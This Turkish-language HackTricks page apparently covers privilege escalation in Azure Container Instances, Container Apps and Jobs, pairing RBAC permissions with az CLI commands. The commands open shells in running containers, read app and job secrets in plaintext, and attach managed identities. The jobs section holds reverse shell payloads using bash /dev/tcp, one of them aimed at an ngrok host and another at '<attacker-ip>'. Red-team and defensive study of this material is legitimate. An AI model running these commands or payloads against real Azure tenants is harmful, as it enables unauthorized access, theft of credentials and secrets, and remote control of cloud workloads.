Az - Azure Container Instances, Apps & Jobs Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Azure Container Instances, Apps & Jobs

Daha fazla bilgi için kontrol edin:

Az - Container Instances, Apps & Jobs

ACI

Microsoft.ContainerInstance/containerGroups/read, Microsoft.ContainerInstance/containerGroups/containers/exec/action

Bu izinler, kullanıcının çalışan bir konteynerde bir komut çalıştırmasına olanak tanır. Bu, konteynerde herhangi bir yönetilen kimlik varsa yetki yükseltmek için kullanılabilir. Elbette, konteynerin içindeki kaynak koduna ve diğer hassas bilgilere erişmek de mümkündür.

Bir shell almak bu kadar basit:

az container exec --name <container-name> --resource-group <res-group>  --exec-command '/bin/sh'

Aynı zamanda konteynerin çıkışını okumak da mümkündür:

az container attach --name <container-name> --resource-group <res-group>

Ya da logları şu şekilde alabilirsiniz:

az container logs --name <container-name> --resource-group <res-group>

Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Bu izinler, bir kullanıcı yönetimli kimliği bir konteyner grubuna eklemeye olanak tanır. Bu, konteynerde ayrıcalıkları artırmak için çok faydalıdır.

Bir kullanıcı yönetimli kimliği bir konteyner grubuna eklemek için:

az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"

Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Bu izinler, bir kullanıcı yönetimli kimlik ile ilişkilendirilmiş bir konteyner grubunu oluşturma veya güncelleme olanağı sağlar. Bu, konteynerde ayrıcalıkları artırmak için çok faydalıdır.

az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0

Ayrıca, mevcut bir konteyner grubunu güncellemek de mümkündür; örneğin, --command-line argümanını bir ters shell ile ekleyerek.

ACA

Microsoft.App/containerApps/read, Microsoft.App/managedEnvironments/read, microsoft.app/containerapps/revisions/replicas, Microsoft.App/containerApps/revisions/read, Microsoft.App/containerApps/getAuthToken/action

Bu izinler, kullanıcının çalışan bir uygulama konteynerinde bir shell almasına olanak tanır. Bu, konteynerde herhangi bir yönetilen kimlik varsa yetkileri yükseltmek için kullanılabilir. Elbette, konteynerin içinde depolanan kaynak koduna ve diğer hassas bilgilere de erişmek mümkündür.

az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>

Microsoft.App/containerApps/listSecrets/action

Bu izin, bir konteyner uygulaması içinde yapılandırılan gizli anahtarların düz metnini almayı sağlar. Gizli anahtarların düz metin olarak veya bir anahtar kasasına bağlantı ile yapılandırılabileceğini unutmayın (bu durumda uygulamaya gizli anahtarlara erişim sağlayan bir yönetilen kimlik atanmış olacaktır).

az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Bu izinler, bir kullanıcı yönetimli kimliği bir konteyner uygulamasına eklemeye olanak tanır. Bu, konteynerde ayrıcalıkları artırmak için çok faydalıdır. Bu eylemi az cli üzerinden gerçekleştirmek ayrıca Microsoft.App/containerApps/listSecrets/action iznini gerektirir.

Bir kullanıcı yönetimli kimliğini bir konteyner grubuna eklemek için:

az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action

Bu izinler, bir uygulama konteyneri oluşturma veya güncelleme ve ona bağlı bir kullanıcı yönetilen kimliği ekleme olanağı sağlar. Bu, konteynerde ayrıcalıkları artırmak için çok faydalıdır.

# Get environments
az containerapp env list --resource-group Resource_Group_1

# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"

Tip

Bu izinlerle uygulamanın diğer yapılandırmaları değiştirilebilir, bu da mevcut uygulamaların yapılandırmasına bağlı olarak diğer privesc ve post exploitation saldırılarının gerçekleştirilmesine olanak tanıyabilir.

Jobs

Microsoft.App/jobs/read, Microsoft.App/jobs/write

Jobs, konteyner uygulamaları gibi uzun süreli değildir, ancak bir yürütme başlatırken işin komut yapılandırmasını geçersiz kılma yeteneğinden yararlanabilirsiniz. Özel bir iş şablonu oluşturarak (örneğin, varsayılan komutu bir ters shell ile değiştirmek), işin çalıştığı konteyner içinde shell erişimi elde edebilirsiniz.

# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml

# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
#  - args:
#      - -c
#      - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
#      command:
#      - /bin/bash
#      image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest

# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml

# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml

Microsoft.App/jobs/read, Microsoft.App/jobs/listSecrets/action

Bu izinlere sahipseniz, bir Job konteyneri içindeki tüm gizli anahtarları listeleyebilir (ilk izin) ve ardından yapılandırılmış gizli anahtarların değerlerini okuyabilirsiniz.

az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>

Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/jobs/write

Eğer bir işin yapılandırmasını değiştirme izniniz varsa, bir kullanıcı atamalı yönetilen kimlik ekleyebilirsiniz. Bu kimlik, konteyner içinde ayrıcalıkları artırmak için kötüye kullanılabilecek ek ayrıcalıklara (örneğin, diğer kaynaklara veya gizliliklere erişim) sahip olabilir.

az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>

Microsoft.App/managedEnvironments/read, Microsoft.App/jobs/write, Microsoft.App/managedEnvironments/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Yeni bir Container Apps Job oluşturabiliyorsanız (veya mevcut birini güncelleyebiliyorsanız) ve yönetilen bir kimlik ekleyebiliyorsanız, işi ayrıcalıkları artıran bir yükü çalıştıracak şekilde tasarlayabilirsiniz. Örneğin, yalnızca bir ters kabuk çalıştırmakla kalmayıp, aynı zamanda yönetilen kimliğin kimlik bilgilerini kullanarak token talep edebilir veya diğer kaynaklara erişim sağlayan yeni bir iş oluşturabilirsiniz.

az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"

Tip

Bu komut, Microsoft.App/jobs/read iznine sahip değilseniz bir hata verecektir, ancak İş oluşturulacaktır.

microsoft.app/jobs/start/action, microsoft.app/jobs/read

Bu izinlerle bir işi başlatmanın mümkün olması gerekiyor gibi görünüyor. Bu, bir ters kabuk veya başka herhangi bir kötü niyetli komut başlatmak için kullanılabilir, işin yapılandırmasını değiştirmeye gerek kalmadan.

Bunu çalıştırmayı başaramadım ama izin verilen parametrelere göre mümkün olmalı.

Microsoft.ContainerInstance/containerGroups/restart/action

Azure Container Instances içindeki belirli bir konteyner grubunu yeniden başlatmaya izin verir.

az container restart --resource-group <resource-group> --name <container-instances>

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin